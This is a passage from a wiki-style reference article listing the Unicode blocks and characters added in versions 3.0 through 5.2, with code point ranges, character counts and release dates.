* An enclosing screen and an enclosing key (total 2 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E2-U+20E3)
* The information symbol and a rotated Q (total 2 characters) were added to '''Letterlike Symbols'''. (U+2139-U+213A)
* A mirrored Roman capital numeral hundred (Ↄ) (total 1 character) was added to '''Number Forms'''. (U+2183)
* Some additional arrows (total 9 characters) were added to '''Arrows'''. (U+21EB-U+21F3)
* Some additional technical symbols, including common keys on a 101 keyboard (total 33 characters) were added to '''Miscellaneous Technical'''. (U+2301, U+237B and U+237D-U+239A)
* Two additional control pictures (total 2 characters) were added to '''Control Pictures'''. (U+2425-U+2426)
* Squares and circles with quadrants (total 8 characters) were added to '''Geometric Shapes'''. (U+25F0-U+25F7)
* Two Syriac crosses and a signature mark (total 3 characters) were added to '''Miscellaneous Symbols'''. (U+2619 and U+2670-U+2671)
* Three Hangzhou numerals and a variation indicator (total 4 characters) were added to '''CJK Symbols and Punctuation'''. (U+3038-U+303A and U+303E)
* A ligature Yod with Hiriq (יִ) (total 1 character) was added to '''Alphabetic Presentation Forms'''. (U+FB1D)
* Three additional control characters for ruby markup (total 3 characters) were added to '''Specials'''. (U+FFF9-U+FFFB)

== Unicode 3.1 ==

Unicode 3.1 was released March 2001. It encoded 94,140 characters, adding 44,946 new characters, and mainly focused on blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Old Italic''' (U+10300-U+1032F), containing 35 letters for the Etruscan script, was added.
* '''Gothic''' (U+10330-U+1034F), containing 27 letters for the Gothic script, was added.
* '''Deseret''' (U+10400-U+1044F), containing 76 letters for the constructed Deseret script, was added.
* '''Byzantine Musical Symbols''' (U+1D000-U+1D0FF), containing 246 symbols for musical notation in Byzantine, was added.
* '''Musical Symbols''' (U+1D100-U+1D1FF), containing 219 characters for current musical notation, was added.
* '''Mathematical Alphanumeric Symbols''' (U+1D400-U+1D7FF), containing 991 Latin and Greek letters in serif, sans-serif, bold, italic, double-struck, script and Fraktur/Blackletter, was added.
* '''CJK Unified Ideographs Extension B''' (U+20000-U+2A6DF), containing 42,711 additional Chinese Ideographs, was added.
* '''CJK Compatibility Ideographs Supplement''' (U+2F800-U+2FA1F), containing 542 additional Chinese Ideographs for compatibility purposes, was added.
* '''Tags''', containing 97 language tags, was added. (U+E0000-U+E007F)

=== Extended noncharacters ===

* The Noncharacters range: U+FDD0..U+FDEF were added to '''Arabic Presentation Forms-A'''.

=== Extended blocks ===

* The capital Theta symbol and the Lunate Epsilon symbol (total 2 characters) were added to '''Greek and Coptic'''. (U+03F4-U+03F5)

=== Characters and Scripts Under Investigation or Rejected ===
* Khmer Sign Laak Was Rejected. (U+17DD) From '''Khmer.'''
* Georgian Letter U-Brjuu Was Rejected. From '''Georgian.'''

== Unicode 3.2 ==

Unicode 3.2 was released March 2002. It encoded 95,156 characters, adding 1,016 new characters.

=== New blocks ===

* '''Cyrillic Supplementary (now Cyrillic Supplement)''' (U+0500-U+052F), containing 16 characters used for the Komi language, was added.
* '''Tagalog''' (U+1700-U+171F), containing 20 characters for the Baybayin script, was added.
* '''Hanunoo''' (U+1720-U+173F), containing 23 characters and punctuation for the Hanunó'o script, was added.
* '''Buhid''' (U+1740-U+175F), containing 20 characters for the Buhid script, was added.
* '''Tagbanwa''' (U+1760-U+177F), containing 18 characters for the Tagbanwa script, was added.
* '''Miscellaneous Mathematical Symbols-A''' (U+27C0-U+27EF), containing 28 symbols used in math notation, was added.
* '''Supplemental Arrows-A''' (U+27F0-U+27FF), containing 16 additional arrows, was added.
* '''Supplemental Arrows-B''' (U+2900-U+297F), containing 128 special arrows, was added.
* '''Miscellaneous Mathematical Symbols-B''' (U+2980-U+29FF), containing 128 additional mathematical symbols, was added.
* '''Supplemental Mathematical Operators''' (U+2A00-U+2AFF), containing 256 additional mathematical operators, was added.
* '''Katakana Phonetic Extensions''' (U+31F0-U+31FF), containing 16 Katakana letters used for Ainu, was added.
* '''Variation Selectors''' (U+FE00-U+FE0F), containing 16 symbols used for indicating variations, was added.

=== Extended blocks ===

* A capital letter N with Long Right Leg (total 1 character) was added to '''Latin Extended-B'''. (U+0220)
* The combining grapheme joiner and combining Latin letters used in medieval texts (total 14 characters) were added to '''Combining Diacritical Marks'''. (U+034F and U+0363-U+036F)
* The Qoppa and a reversed lunate epsilon symbol (total 3 characters) were added to '''Greek and Coptic'''. (U+03D8-U+03D9 and U+03F6)
* Four additional letters used for the Kildin Sami language (total 8 characters) were added to '''Cyrillic'''. (U+048A-U+048B, U+04C5-U+04C6, U+04C9-U+04CA and U+04CD-U+04CE)
* A dotless Beh and a dotless Qaf (total 2 characters) were added to '''Arabic'''. (U+066E-U+066F)
* A Letter for Addu dialect (total 1 character) was added to '''Thaana'''. (U+07B1)
* The letters Yn and Elifi (total 2 characters) were added to '''Georgian'''. (U+10F7-U+10F8)
* Some additional punctuation marks and control characters (total 12 characters) were added to '''General Punctuation'''. (U+2047, U+204E-U+2052, U+2057 and U+205F-U+2063)
* A superscript letter I (total 1 character) was added to '''Superscripts and Subscripts'''. (U+2071)
* German Penny and Peso sign (total 2 characters) were added to '''Currency Symbols'''. (U+20B0-U+20B1)
* Some additional combining characters (total 7 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E4-U+20EA)
* Some double-struck and reversed/turned letters (total 15 characters) were added to '''Letterlike Symbols'''. (U+213D-U+214B)
* Some additional arrows (total 12 characters) were added to '''Arrows'''. (U+21F4-U+21FF)
* Some additional mathematical operators (total 14 characters) were added to '''Mathematical Operators'''. (U+22F2-U+22FF)
* Variable-width and additional symbols (total 53 characters) were added to '''Miscellaneous Technical'''. (U+237C and U+239B-U+23CE)
* Black and double circled numerals (total 20 characters) were added to '''Enclosed Alphanumerics'''. U+24EB-U+24FE)
* Quadrant elements (total 10 characters) were added to '''Block Elements'''. (U+2596-U+259F)
* Some additional triangles and squares (total 8 characters) were added to '''Geometric Shapes'''. (U+25F8-U+25FF)
* Shogi pieces ,recycling symbols, dices and dotted circles (total 24 characters) were added to '''Miscellaneous Symbols'''. (U+2616-U+2617, U+2672-U+267D and U+2680-U+2689)
* Additional parenthesis (total 14 characters) were added to '''Dingbats'''. (U+2768-U+2775)
* Three additional marks (total 3 characters) were added to '''CJK Symbols and Punctuation'''. (U+303B-U+303D)
* A digraph and two additional characters (total 3 characters) were added to '''Hiragana'''. (U+3095-U+3096 and U+309F)
* A digraph and a double hyphen (total 2 characters) were added to '''Katakana'''. (U+30A0 and U+30FF)
* Additional circled numerals (total 30 characters) were added to '''Enclosed CJK Letters and Months'''. (U+3251-U+325F and U+32B1-U+32BF
* Five missing radicals (total 5 characters) were added to '''Yi Radicals'''. (U+A4A2-U+A4A3, U+A4B4, U+A4C1, U+A4C5)
* Additional compatibility characters (total 59 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA30-U+FA6A)
* A Rial sign (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFC)
* Two sesame dots (total 2 characters) were added to '''CJK Compatibility Forms'''. (U+FE45-U+FE46)
* A tail fragment (total 1 character) was added to '''Arabic Presentation Forms-B'''. (U+FE73)
* A pair of double parenthesis (total 2 characters) was added to '''Halfwidth and Fullwidth Forms'''. (U+FF5F-U+FF60)

== Unicode 4.0 ==

Unicode 4.0 was released April 2003. It encoded 96,382 characters, adding 1,226 new characters.

=== New blocks ===

* '''Limbu''' (U+1900-U+194F), containing 66 characters for the Limbu abugida, was added.
* '''Tai Le''' (U+1950-U+197F), containing 35 letters for the Tai Le script, was added.
* '''Khmer Symbols''' (U+19E0-U+19FF), containing 32 symbols for the lunar calendar, was added.
* '''Phonetic Extensions''' (U+1D00-U+1D7F), containing 108 letters used in phonetic transcription, was added.
* '''Miscellaneous Symbols and Arrows''' (U+2B00-U+2BFF), containing 14 additional arrows, was added.
* '''Yijing Hexagram Symbols''' (U+4DC0-U+4DFF), containing 64 hexagrams, was added.
* '''Linear B Syllabary''' (U+10000-U+1007F), containing 88 syllables of the ancient Linear B script, was added.
* '''Linear B Ideograms''' (U+10080-U+100FF), containing 123 ideograms of the ancient Linear B script, was added.
* '''Aegean Numbers''' (U+10100-U+1013F), containing 57 numerals used in the Aegean area, was added.
* '''Ugaritic''' (U+10380-U+1039F), containing 31 characters used in Ugaritic cuneiform, was added.
* '''Shavian''' (U+10450-U+1047F), containing 48 letters used for the artificial Shavian script, was added.
* '''Osmanya''' (U+10480-U+104AF), containing 40 characters used in the artificial Osmanya script, was added.
* '''Cypriot Syllabary''' (U+10800-U+1083F), containing 55 characters formerly used on Cyprus, was added.
* '''Tai Xuan Jing Symbols''' (U+1D300-U+1D35F), containing 87 symbols of Tai Xuan Jing, was added.
* '''Variation Selectors Supplement''' (U+E0100-U+E01EF), containing 240 additional variation selectors, was added.

=== Extended blocks ===

* Letters with curl used in Sinology (total 4 characters) were added to '''Latin Extended-B'''. (U+0221 and U+0234-U+0236)
* Former IPA letters (total 2 characters) were added to '''IPA Extensions'''. (U+02AE-U+02AF)
* Some additional characters (total 17 characters) were added to '''Spacing Modifier Letters'''. (U+02EF-U+02FF)
* Additional combining double-width diacritics and diacritics corresponding to their spacing equivalent (total 11 characters) were added to '''Combining Diacritical Marks'''. (U+0350-U+0357 and U+035D-U+035F)
* The archaic letters Sho and San and the capital Lunate Sigma (total 5 characters) were added to '''Greek and Coptic'''. (U+03F7-U+03FB)
* Some additional markers, biblical signs, and letters with inverted V (total 19 characters) were added to '''Arabic'''. (U+0600-U+0603, U+060D-U+0615, U+0656-U+0658, U+06EE-U+06EF and U+06FF)
* Letters used for foreign words from Persian and Sogdian (total 6 characters) were added to '''Syriac'''. (U+072D-U+072F and U+074D-U+074F)
* The short A (ऄ) (total 1 character) was added to '''Devanagari'''. (U+0904)
* The Avagraha sign (ঽ) (total 1 character) was added to '''Bengali'''. (U+09BD)
* The Adak Bindi and Visarga signs (total 2 characters) were added to '''Gurmukhi'''. (U+0A01 and U+0A03)
* The vocalic l and ll and the Rupee sign (total 5 characters) were added to '''Gujarati'''. (U+0A8C and U+0AF1-U+0AF3)
* The letters Va and Wa (total 2 characters) were added to '''Oriya'''. (U+0B35 and U+0B71)
* Additional signs for date and finance environments (total 8 characters) were added to '''Tamil'''. (U+0BF3-U+0BFA)
* The Nukta and Avagraha signs (total 2 characters) were added to '''Kannada'''. (U+0CBC-U+0CBD)
* Some symbols and signs (total 11 characters) were added to '''Khmer'''. (U+17DD and U+17F0-U+17F9)
* An inverted undertie and a swung dash (total 2 characters) were added to '''General Punctuation'''. (U+2053-U+2054)
* The facsimile sign (℻) (total 1 character) was added to '''Letterlike Symbols'''. (U+213B)
* The eject symbol and a vertical line (total 2 characters) were added to '''Miscellaneous Technical'''. (U+23CF-U+23D0)
* A black circled digit zero (⓿) (total 1 character) was added to '''Enclosed Alphanumerics'''. (U+24FF)
* Monograms and diagrams, flags, warning and weather symbols and a cup of tea (total 12 characters) were added to '''Miscellaneous Symbols'''. (U+2614-U+2615, U+268A-U+2691 and U+26A0-U+26A1)
* Additional parenthesized and circled Korean characters and supplemental signs (total 9 characters) were added to '''Enclosed CJK Letters and Months'''. (U+321D-U+321E, U+3250, U+327C-U+327D and U+32CC-U+32CF)
* Additional measure units (total 7 characters) were added to '''CJK Compatibility'''. (U+3377-U+337A, U+33DE-U+33DF and U+33FF)
* An additional Arabic sign (﷽) (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFD)
* A pair of vertical parenthesis (total 2 characters) was added to '''CJK Compatibility Forms'''. (U+FE47-U+FE48)
* The letters Oi and Ew (total 4 characters) were added to '''Deseret'''. (U+10426-U+10427 and U+1044E-U+1044F)
* A small script l (ℓ) (total 1 character) was added to '''Mathematical Alphanumeric Symbols'''. (U+1D4C1)

== Unicode 4.1 ==

Unicode 4.1 was released March 31, 2005. It encoded 97,655 characters, adding 1,273 new characters.

=== New blocks ===

* '''Arabic Supplement''' (U+0750-U+077F), containing 30 characters for various languages written with the Arabic script, was added.
* '''Ethiopic Supplement''' (U+1380-U+139F), containing 26 characters and signs for Sebatbeit, was added.
* '''New Tai Lue''' (U+1980-U+19DF), containing 80 characters for the New Tai Lue script, was added.
* '''Buginese''' (U+1A00-U+1A1F), containing 30 characters for the Lontara script, was added.
* '''Phonetic Extensions Supplement''' (U+1D80-U+1DBF), containing 64 additional letters for phonetic transcription, was added.
* '''Combining Diacritical Marks Supplement''' (U+1DC0-U+1DFF), containing 4 additional diacritics, was added.
* '''Glagolitic''' (U+2C00-U+2C5F), containing 94 characters for the Glagolitic script, was added.
* '''Coptic''' (U+2C80-U+2CFF), containing 114 characters for the Coptic script, was added.
* '''Georgian Supplement''' (U+2D00-U+2D2F), containing 38 Nuskhuri letters, was added.
* '''Tifinagh''' (U+2D30-U+2D7F), containing 55 characters for the Tifinagh script, was added.
* '''Ethiopic Extended''' (U+2D80-U+2DDF), containing 79 additional Ethiopic syllables, was added.
* '''Supplemental Punctuation''' (U+2E00-U+2E7F), containing 26 additional punctuation marks, was added.
* '''CJK Strokes''' (U+31C0-U+31CF), containing 16 strokes for Han Ideographs, was added.
* '''Modifier Tone Letters''' (U+A700-U+A71F), containing 23 letters for Chinese tones, was added.
* '''Syloti Nagri''' (U+A800-U+A82F), containing 44 characters for the Syloti Nagri abugida, was added.
* '''Vertical Forms''' (U+FE10-U+FE1F), containing 10 punctuation marks suited for vertical text, was added.
* '''Ancient Greek Numbers''' (U+10140-U+1018F), containing 75 numerals and signs used in Ancient Greek, was added.
* '''Old Persian''' (U+103A0-U+103DF), containing 50 characters for Old Persian cuneiform, was added.
* '''Kharoshthi''' (U+10A00-U+10A5F), containing 65 characters for the Kharoshthi abugida, was added.
* '''Ancient Greek Musical Notation''' (U+1D200-U+1D24F), containing 70 musical signs used in Ancient Greek, was added.

=== Extended blocks ===

* Letters for Sencoten, digraphs, letters with swash tail and other additions (total 11 characters) were added to '''Latin Extended-B'''. (U+0237-U+0241)
* Additional diacritics for transliteration (total 5 characters) were added to '''Combining Diacritical Marks'''. (U+0358-U+035C)
* Rho with stroke, reversed and dotted Lunate Sigma (total 4 characters) were added to '''Greek and Coptic'''. (U+03FC-U+03FF)
* Ghe with descender (Ӷ) (total 2 characters) was added to '''Cyrillic'''. (U+04F6-U+04F7)
* An additional biblical mark and some punctuation marks (total 4 characters) were added to '''Hebrew'''. (U+05A2 and U+05C5-U+05C7)
* Additional biblical marks, punctuation marks and the Afghani sign (total 8 characters) were added to '''Arabic'''. (U+060B, U+061E, and U+0659-U+065E)
* A glottal stop (ॽ) (total 1 character) was added to '''Devanagari'''. (U+097D)
* The Khanda Ta letter (ৎ) (total 1 character) was added to '''Bengali'''. (U+09CE)
* The letter Sha and the digit zero (total 2 characters) were added to '''Tamil'''. (U+0BB6 and U+0BE6)
* Two marks used in Bhutan (total 2 characters) were added to '''Tibetan'''. (U+0FD0-U+0FD1)
* Two letters and a modifier letter (total 3 characters) were added to '''Georgian'''. (U+10F9-U+10FA and  U+10FC)
* Some additional syllables (total 11 characters) were added to '''Ethiopic'''. (U+1207, U+1247, U+1287, U+12AF, U+12CF, U+12EF, U+130F, U+131F, U+1347, U+135F, and U+1360)
* Additional phonetic symbols (total 20 characters) were added to '''Phonetic Extensions'''. (U+1D6C-U+1D7F)
* A flower and dot punctuation marks (total 9 characters) were added to '''General Punctuation'''. (U+2055-U+2056 and U+2058-U+205E)
* Additional subscript letters (total 5 characters) were added to '''Superscripts and Subscripts'''. (U+2090-U+2094)
* The Guarani, Austral, Hryvnia and Cedi signs (total 4 characters) were added to '''Currency Symbols'''. (U+20B2-U+20B5)
* A combining long double solidus (total 1 character) was added to '''Combining Diacritical Marks for Symbols'''. (U+20EB)
* The per sign and a double-struck letter Pi (total 2 characters) were added to '''Letterlike Symbols'''. (U+213C and U+214C)
* Metrical and electrical signs (total 11 characters) were added to '''Miscellaneous Technical'''. (U+23D1-U+23DB)
* Additional gender and map symbols (total 30 characters) were added to '''Miscellaneous Symbols'''. (U+2618, U+267E-U+267F, U+2692-U+269C, and U+26A2-U+26B1)
* Some additional mathematical symbols (total 7 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27C0-U+27C6)
* Additional arrows and squares (total 6 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B0E-U+2B1D)
* A circled Hangul character (㉾) (total 1 character) was added to '''Enclosed CJK Letters and Months'''. (U+327E)
* Additional Han Ideographs (total 22 characters) were added to '''CJK Unified Ideographs'''. (U+9FA6-U+9FBB)
* Additional Compatibility Ideographs (total 106 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA70-U+FAD9)
* Italic dotless small i and j (total 2 characters) were added to '''Mathematical Alphanumeric Symbols'''. (U+1D6A4-U+1D6A5)

== Unicode 5.0 ==

Unicode 5.0 was released July 14, 2006. It encoded 99,024 characters, adding 1,369 new characters.

=== New blocks ===

* '''N'Ko''' (U+07C0-U+07FF), containing 59 characters for the N'Ko script, was added.
* '''Balinese''' (U+1B00-U+1B7F), containing 121 characters and musical signs for the Balinese abugida, was added.
* '''Latin Extended-C''' (U+2C60-U+2C7F), containing 17 letters for various languages, was added.
* '''Latin Extended-D''' (U+A720-U+A7FF), containing 2 characters for UPA, was added.
* '''Phags-pa''' (U+A840-U+A87F), containing 56 characters for the Phags-pa script, was added.
* '''Phoenician''' (U+10900-U+1091F), containing 27 letters and numerals for the Phoenician script, was added.
* '''Cuneiform''' (U+12000-U+123FF), containing 879 signs for Sumero-Akkadian Cuneiform, was added.
* '''Cuneiform Numbers and Punctuation''' (U+12400-U+1247F), containing 103 numerals and punctuation signs for Sumero-Akkadian Cuneiform, was added.
* '''Counting Rod Numerals''' (U+1D360-U+1D37F), containing 18 numerals used with counting rods, was added.

=== Extended blocks ===

* Various letters used mainly for aboriginal languages (total 14 characters) were added to '''Latin Extended-B'''. (U+0242-U+024F)
* Lowercase lunate sigma symbols (total 3 characters) were added to '''Greek and Coptic'''. (U+037B-U+037D)
* Lowercase palochka and 3 letters used in Nivkh (total 7 characters) were added to '''Cyrillic'''. (U+04CF and U+04FA-U+04FF)
* Two letters used in Khanty and other languages (total 4 characters) were added to '''Cyrillic Supplement'''. (U+0510-U+0513)
* A specific point meant for Vav (total 1 character) was added to '''Hebrew'''. (U+05BA)
* Four letters used in Sindhi (total 4 characters) were added to '''Devanagari'''. (U+097B-U+097C and U+097E-U+097F)
* Four letters used in Sanskrit (total 4 characters) were added to '''Kannada'''. (U+0CE2-U+0CE3 and U+0CF1-U+0CF2)
* Additional IPA diacritics (total 9 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DC4-U+1DCA)
* Four combining arrows (total 4 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20EC-U+20EF)
* A danish symbol and a lowercase turned F (total 2 characters) were added to '''Letterlike Symbols'''. (U+214D-U+214E)
* A lowercase reversed C (ↄ) (total 1 character) was added to '''Number Forms'''. (U+2184)
* Vertical parenthesis, geometric forms and electrical symbols (total 12 characters) were added to '''Miscellaneous Technical'''. (U+23DC-U+23E7)
* A neuter symbol (⚲) (total 1 character) was added to '''Miscellaneous Symbols'''. (U+26B2)
* Four additional mathematical symbols (total 4 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27C7-U+27CA)
* Additional squares, pentagons and hexagons (total 11 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B14-U+2B1A and U+2B20-U+2B23)
* Four additional tone letters used in Chinantec (total 4 characters) were added to '''Modifier Tone Letters'''. (U+A717-U+A71A)
* Bold Digamma (𝟊/'''Ϝ''') (total 2 characters) was added to '''Mathematical Alphanumeric Symbols'''. (U+1D7CA-U+1D7CB)

== Unicode 5.1 ==

Unicode 5.1 was released April 4, 2008. It encoded 100,648 characters, adding 1,624 new characters.

=== New blocks ===

* '''Sundanese''' (U+1B80-U+1BBF), containing 55 letters for Sundanese script, was added.
* '''Lepcha''' (U+1C00-U+1C4F), containing 74 letters for Lepcha script, was added.
* '''Ol Chiki''' (U+1C50-U+1C7F), containing 48 letters for Ol Chiki script, was added.
* '''Cyrillic Extended-A''' (U+2DE0-U+2DFF), containing 32 letters for combining Cyrillic letters, was added.
* '''Vai''' (U+A500-U+A63F), containing 300 letters for Vai script, was added.
* '''Cyrillic Extended-B''' (U+A640-U+A69F), containing 78 letters for additional Cyrillic characters, was added.
* '''Saurashtra''' (U+A880-U+A8DF), containing 81 letters for Saurashtra script, was added.
* '''Kayah Li''' (U+A900-U+A92F), containing 48 letters for Kayah languages, was added.
*  '''Rejang''' (U+A930-U+A95F), containing 37 letters for Rejang script, was added.
* '''Cham''' (U+AA00-U+AA5F), containing 83 letters for Cham script, was added.
* '''Ancient Symbols''' (U+10190-U+101CF), containing 12 characters for weights and measures and other ancient symbols, was added.
* '''Phaistos Disc''' (U+101D0-U+101FF), containing 46 hieroglyphs for Phaistos, was added.
* '''Lycian''' (U+10280-U+1029F), containing 29 letters for Lycian script, was added.
* '''Carian''' (U+102A0-U+102DF), containing 49 letters for Carian script, was added.
* '''Lydian''' (U+10920-U+1093F), containing 27 letters for Lydian script, was added.
* '''Mahjong Tiles''' (U+1F000-U+1F02F), containing 44 mahjong tiles, was added.
* '''Domino Tiles''' (U+1F030-U+1F09F), containing 100 domino tiles, was added.

=== Extended blocks ===

* Archaic letters and capital kai symbol (total 7 characters) were added to '''Greek and Coptic'''. (U+0370-U+0373, U+0375-U+0376 and U+03CF)
* Combining Pokrytie (total 1 character) was added to '''Cyrillic'''. (U+0487)
* Mordvin, Kurdish, Aleut and Chuvash letters (total 16 characters) were added to '''Cyrillic Supplement'''. (U+0514-U+0523)
* Radix symbols, Letterlike, punctuation, Koranic annotation signs and additions for early Persian and Azerbaijani (total 15 characters) were added to '''Arabic'''. (U+0606-U+060A, U+0616-U+061A and U+063B-U+063F)
* Additional letters in Torwali, Burushaski and early Persian (total 18 characters) were added to '''Arabic Supplement'''. (U+076E-U+077F)
* High spacing dot and candra a (total 2 characters) were added to '''Devanagari'''. (U+0971-U+0972)
* Udaat and yakash signs (total 2 characters) were added to '''Gurmukhi'''. (U+0A51 and U+0A75)
* Vocalic rr, l and ll (total 3 characters) were added to '''Oriya'''. (U+0B44 and U+0B62-U+0B63)
* Om symbol (ௐ) (total 1 character) was added to '''Tamil'''. (U+0BD0)
* Avagraha, additional phonetic letters, vocalic l and ll, fractional signs and tuumu (total 13 characters) were added to '''Telugu'''. (U+0C3D, U+0C58-U+0C59, U+0C62-U+0C63 and U+0C78-U+0C7F)
* Avagraha, vocalic rr, l and ll, Malayalam numerics and fractions and chillu letters (total 17 characters) were added to '''Malayalam'''. (U+0D3D, U+0D44, U+0D62-U+0D63, U+0D70-U+0D75 and U+0D79-U+0D7F)
* Letters for Balti and various symbols (total 6 characters) were added to '''Tibetan'''. (U+0F6B-U+0F6C, U+0FCE and U+0FD2-U+0FD4)
* Characters for various languages (total 78 characters) were added to '''Myanmar'''. (U+1022, U+1028, U+102B, U+1033-U+1035, U+103A-U+103F, U+105A-U+1099 and U+109E-U+109F)
* Manchu Ali Gali lha (ᢪ) (total 1 character) was added to '''Mongolian'''. (U+18AA)
* Miscellaneous combining marks (total 28 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DCB-U+1DE6)
* Medievalist latin letters and miscellaneous letters (total 10 characters) were added to '''Latin Extended Additional'''. (U+1E9C-U+1E9F and U+1EFA-U+1EFF)
* Invisible plus (+) (total 1 character) was added to '''General Punctuation'''. (U+2064)
* Combining asterisk above ( ⃰)(total 1 character) was added to '''Combining Diacritical Marks for Symbols'''. (U+20F0)
* Symbol for Samaritan Source (⅏) (total 1 character) was added to '''Letterlike Symbols'''. (U+214F)
* Archaic Roman Numerals (total 4 characters) were added to '''Number Forms'''. (U+2185-U+2188)
* Outlined white star and other signs (total 15 characters) were added to '''Miscellaneous Symbols'''. (U+269D, U+26B3-U+26BC and U+26C0-U+26C3)
* Long division and additional mathematical brackets (total 5 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27CC and U+27EC-U+27EF)
* Miscellaneous signs (total 51 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B1B-U+2B1F, U+2B24-U+2B4C, and U+2B50-U+2B54)
* Additional Latin letters (total 12 characters) were added to '''Latin Extended-C'''. (U+2C6D-U+2C6F, U+2C71-U+2C73, and U+2C78-U+2C7D)
* Additional punctuation (total 23 characters) were added to '''Supplemental Punctuation'''. (U+2E18-U+2E1B and U+2E1E-U+2E30)
* Letter ih (ㄭ) (total 1 character) was added to '''Bopomofo'''. (U+312D)
* Other strokes (total 20 characters) were added to '''CJK Strokes'''. (U+31D0-U+31E3)
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''. (U+9FBC-U+9FC3)
* Africanist tone letters (total 5 characters) were added to '''Modifier Tone Letters'''. (U+A71B-U+A71F)
* Miscellaneous letters and symbols (total 112 characters) were added to '''Latin Extended-D'''. (U+A722-U+A78C and U+A7FB-U+A7FF)
* Continuous macrons for Coptic (total 3 characters) were added to '''Combining Half Marks'''. (U+FE24-U+FE26)
* Musical symbol multiple measure rest (𝄩) (total 1 character) was added to '''Musical Symbols'''. (U+1D129)

== Unicode 5.2 ==

Unicode 5.2 was released in October 1, 2009. It encoded 107,296 characters, adding 6,648 new characters.

=== New blocks ===

* '''Samaritan''' (U+0800-U+083F), containing 61 letters for Samaritan script, was added.
* '''Unified Canadian Aboriginal Syllabics Extended''' (U+18B0-U+18FF), containing 70 syllables for various Cree languages, was added.
* '''Tai Tham''' (U+1A20-U+1AAF), containing 127 letters for Tai Tham script, was added.
* '''Vedic Extensions''' (U+1CD0-U+1CFF), containing 35 characters for tone marks and signs, was added.
* '''Lisu''' (U+A4D0-U+A4FF), containing 48 letters for Lisu (Fraser) script, was added.
* '''Bamum''' (U+A6A0-U+A6FF), containing 88 letters for Bamum script, was added.
* '''Common Indic Number Forms''' (U+A830-U+A83F), containing 10 fractions and marks, was added.
* '''Devanagari Extended''' (U+A8E0-U+A8FF), containing 28 additional marks, was added.
* '''Hangul Jamo Extended-A''' (U+A960-U+A97F), containing 29 characters for additional old initial consonants in hangul jamo, was added.
* '''Javanese''' (U+A980-U+A9DF), containing 91 letters for Javanese script, was added.
* '''Myanmar Extended-A''' (U+AA60-U+AA7B), containing 28 letters for Khamti Shan in Myanmar, was added.
* '''Tai Viet''' (U+AA80-U+AADF), containing 72 letters for Tai Viet script, was added.
* '''Meetei Mayek''' (U+ABC0-U+ABFF), containing 56 letters for Meetei Mayek script, was added.
* '''Hangul Jamo Extended-B''' (U+D7B0-U+D7FF), containing 72 characters for additional old medieval vowels and final consonants in hangul jamo, was added.
* '''Imperial Aramaic''' (U+10840-U+1085F), containing 31 characters for Old Aramaic, was added.
* '''Old South Arabian''' (U+10A60-U+10A7F), containing 32 letters and numbers for South Arabian, was added.
* '''Avestan''' (U+10B00-U+10B3F), containing 61 characters for Avestan script, was added.
* '''Inscriptional Parthian''' (U+10B40-U+10B5F), containing 30 characters for Inscriptional Parthian script, was added.
* '''Inscriptional Pahlavi''' (U+10B60-U+10B7F), containing 27 characters for Inscriptional Pahlavi script, was added.
* '''Old Turkic''' (U+10C00-U+10C4F), containing 73 characters for Orkhon script, was added.
* '''Rumi Numeral Symbols''' (U+10E60-U+10E7F), containing 31 numeric characters used in Fez, Morocco, and elsewhere in North Africa and the Iberian peninsula, between the tenth and seventeenth centuries, was added.
* '''Kaithi''' (U+11080-U+110CF), containing 66 letters for Kaithi script, was added.
* '''Egyptian Hieroglyphs''' (U+13000-U+1342F), containing 1,071 hieroglyphs for Egyptian, was added.
* '''Enclosed Alphanumeric Supplement''' (U+1F100-U+1F1FF), containing 63 additional circled, parenthesized and squared alphanumerics, was added.
* '''Enclosed Ideographic Supplement''' (U+1F200-U+1F2FF), containing 44 squared and tortoised shell bracketed ideographs, was added.
* '''CJK Unified Ideographs Extension C''' (U+2A700-U+2B73F), containing 4,149 additional Chinese Ideographs, was added.

=== Extended blocks ===

* Abkhaz letters (total 2 characters) were added to '''Cyrillic Supplement'''. (U+0524-U+0525)
* Inverted Candrabindu and additional signs and letters (total 5 characters) were added to '''Devanagari'''. (U+0900, U+094E, U+0955 and U+0979-U+097A)
* Ganda Mark (৻) (total 1 character) was added to '''Bengali'''. (U+09FB)
* Religious svasti signs (total 4 characters) were added to '''Tibetan'''. (U+0FD5-U+0FD8)
* Extensions for Khamti Shan and Alton and Phake (total 4 characters) were added to '''Myanmar'''. (U+109A-U+109D)
* Additional old initial consonants, medival vowels, and old final consonants (total 16 characters) were added to '''Hangul Jamo'''. (U+115A-U+115E, U+11A3-U+11A7 and U+11FA-U+11FF)
* Hyphen and additional syllables (total 10 characters) were added to '''Unified Canadian Aboriginal Syllabics'''. (U+1400 and U+1677-U+167F)
* Letter Sua and Tham Digit One (total 3 characters) were added to '''New Tai Lue'''. (U+19AA-U+19AB and U+19DA)
* Combing Almost Equal to Below ( ᷽) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFD)
* The Live Tournosis, Spesmillo and Tenge signs (total 3 characters) were added to '''Currency Symbols'''. (U+20B6-U+20B8)
* Additional vulgar fractions from ARIB STD B24 (total 4 characters) were added to '''Number Forms'''. (U+2150-U+2152 and U+2189)
* Decimal exponent symbol (⏨) from ARIB STD B24 (total 1 characters) was added to '''Miscellaneous Technical'''. (U+23E8)
* A soccer ball and symbols from ARIB STD B24 (total 59 characters) were added to '''Miscellaneous Symbols'''. (U+269E-U+269F, U+26BD-U+26BF, U+26C4-U+26CD, U+26CF-U+26E1, U+26E3 and U+26E8-U+26FF)
* Heavy exclamation mark symbol (❗)  from ARIB STD B24 (total 1 character) was added to '''Dingbats'''. (U+2757)
